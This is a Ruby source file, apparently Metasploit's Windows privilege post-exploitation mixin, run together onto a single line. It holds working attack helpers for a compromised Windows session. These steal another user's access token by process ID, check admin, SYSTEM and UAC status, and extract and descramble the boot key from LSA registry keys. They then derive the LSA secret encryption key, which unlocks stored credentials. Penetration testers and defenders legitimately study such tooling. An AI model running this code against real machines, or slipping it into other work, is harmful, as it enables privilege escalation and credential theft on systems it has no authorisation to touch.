# -*- coding: binary -*- module Msf::Post::Windows::Priv include ::Msf::Post::Windows::Accounts include Msf::Post::Windows::Registry include Msf::Post::Windows::Version include Msf::Util::WindowsCryptoHelpers INTEGRITY_LEVEL_SID = { low: 'S-1-16-4096', medium: 'S-1-16-8192', high: 'S-1-16-12288', system: 'S-1-16-16384' }.freeze SYSTEM_SID = 'S-1-5-18'.freeze ADMINISTRATORS_SID = 'S-1-5-32-544'.freeze # http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx # ConsentPromptBehaviorAdmin UAC_NO_PROMPT = 0 UAC_PROMPT_CREDS_IF_SECURE_DESKTOP = 1 UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP = 2 UAC_PROMPT_CREDS = 3 UAC_PROMPT_CONSENT = 4 UAC_DEFAULT = 5 def initialize(info = {}) super( update_info( info, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_railgun_api stdapi_registry_open_key stdapi_sys_config_getsid stdapi_sys_config_steal_token stdapi_sys_config_sysinfo stdapi_sys_process_get_processes ] } } ) ) end # # Returns true if user is admin and false if not. # def is_admin? if session_has_ext # Assume true if the OS doesn't expose this (Windows 2000) begin return session.railgun.shell32.IsUserAnAdmin()['return'] rescue StandardError true end end local_service_key = registry_enumkeys('HKU\S-1-5-19') !local_service_key.blank? end # Steals the current user's token. # @see steal_token def steal_current_user_token steal_token(get_env('COMPUTERNAME'), get_env('USERNAME')) end # # Steals a token for a user. # @param String computer_name Computer name. # @param String user_name To token to steal from. If not set, it will try to steal # the current user's token. # @return [boolean] TrueClass if successful, otherwise FalseClass. # @example steal_token(get_env('COMPUTERNAME'), get_env('USERNAME')) # def steal_token(computer_name, user_name) pid = nil session.sys.process.processes.each do |p| if p['user'] == "#{computer_name}\\#{user_name}" pid = p['pid'] end end unless pid vprint_error("No PID found for #{user_name}") return false end vprint_status("Stealing token from PID #{pid} for #{user_name}") begin session.sys.config.steal_token(pid) rescue Rex::Post::Meterpreter::RequestError => e # It could raise an exception even when the token is successfully stolen, # so we will just log the exception and move on. elog(e) end true end # # Returns true if in the administrator group # def is_in_admin_group? whoami = get_whoami if whoami.nil? print_error('Unable to identify admin group membership') return nil elsif whoami.include? ADMINISTRATORS_SID return true else return false end end # # Returns true if running as Local System # def is_system? if session_has_ext return session.sys.config.is_system? end sam = registry_enumkeys('HKLM\SAM\SAM') !sam.blank? end # # Returns true if UAC is enabled # # Returns false if the session is running as system, if uac is disabled or # if running on a system that does not have UAC # def is_uac_enabled? uac = false version = get_version_info if version.build_number >= Msf::WindowsVersion::Vista_SP0 && !is_system? begin enable_lua = registry_getvaldata( 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', 'EnableLUA' ) uac = (enable_lua == 1) rescue Rex::Post::Meterpreter::RequestError => e print_error("Error Checking if UAC is Enabled: #{e.class} #{e}") end end return uac end # # Returns the UAC Level # # @see http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx # 2 - Always Notify, 5 - Default, 0 - Disabled # def get_uac_level begin uac_level = registry_getvaldata( 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', 'ConsentPromptBehaviorAdmin' ) rescue Rex::Post::Meterpreter::RequestError => e print_error("Error Checking UAC Level: #{e.class} #{e}") end if uac_level return uac_level else return nil end end # # Returns the Integrity Level # def get_integrity_level whoami = get_whoami if whoami.nil? print_error('Unable to identify integrity level') return nil else INTEGRITY_LEVEL_SID.each_pair do |_k, sid| if whoami.include? sid return sid end end end end # # Returns true if in a high integrity, or system, service # def is_high_integrity? il = get_integrity_level (il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SID[:system]) end # # Returns the output of whoami /groups # # Returns nil if Windows whoami is not available # def get_whoami whoami = cmd_exec('cmd.exe /c whoami /groups') if whoami.nil? || whoami.empty? return nil elsif whoami =~ (/is not recognized/) || whoami =~ (/extra operand/) || whoami =~ (/Access is denied/) return nil else return whoami end end # # Return true if the session has extended capabilities (ie meterpreter) # def session_has_ext return !!(session.railgun and session.sys.config) rescue NoMethodError return false end # # Returns the unscrambled bootkey # def capture_boot_key bootkey = '' basekey = 'System\\CurrentControlSet\\Control\\Lsa' %w[JD Skew1 GBG Data].each do |k| begin ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + '\\' + k, KEY_READ) rescue Rex::Post::Meterpreter::RequestError end return nil if !ok bootkey << [ok.query_class.to_i(16)].pack('V') ok.close end keybytes = bootkey.unpack('C*') descrambled = '' descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] 0.upto(keybytes.length - 1) do |x| descrambled << [keybytes[descrambler[x]]].pack('C') end return descrambled end # # Returns the LSA key upon input of the unscrambled bootkey # # @note This requires the session be running as SYSTEM # def capture_lsa_key(bootkey) vprint_status('Getting PolSecretEncryptionKey...') pol = registry_getvaldata('HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey', '') if pol print_status('XP or below system') @lsa_vista_style = false md5x = Digest::MD5.new md5x << bootkey 1000.times do md5x << pol[60, 16] end rc4 = OpenSSL::Cipher.new('rc4') rc4.decrypt rc4.key = md5x.digest lsa_key = rc4.update(pol[12, 48]) lsa_key << rc4.final lsa_key = lsa_key[0x10..0x1F] else print_status('Vista or above system') @lsa_vista_style = true vprint_status("Trying 'V72' style...") vprint_status('Getting PolEKList...') pol = registry_getvaldata('HKLM\\SECURITY\\Policy\\PolEKList', '') # If that didn't work, then we're out of luck return nil if pol.nil? lsa_key = decrypt_lsa_data(pol, bootkey) lsa_key = lsa_key[68, 32] end vprint_good(lsa_key.unpack('H*')[0]) return lsa_key end # Whether this system has Vista-style secret keys # # @return [Boolean] True if this session has keys in the PolEKList # registry key, false otherwise. def lsa_vista_style? if @lsa_vista_style.nil? @lsa_vista_style = !registry_getvaldata('HKLM\\SECURITY\\Policy\\PolEKList', '').nil? end @lsa_vista_style end end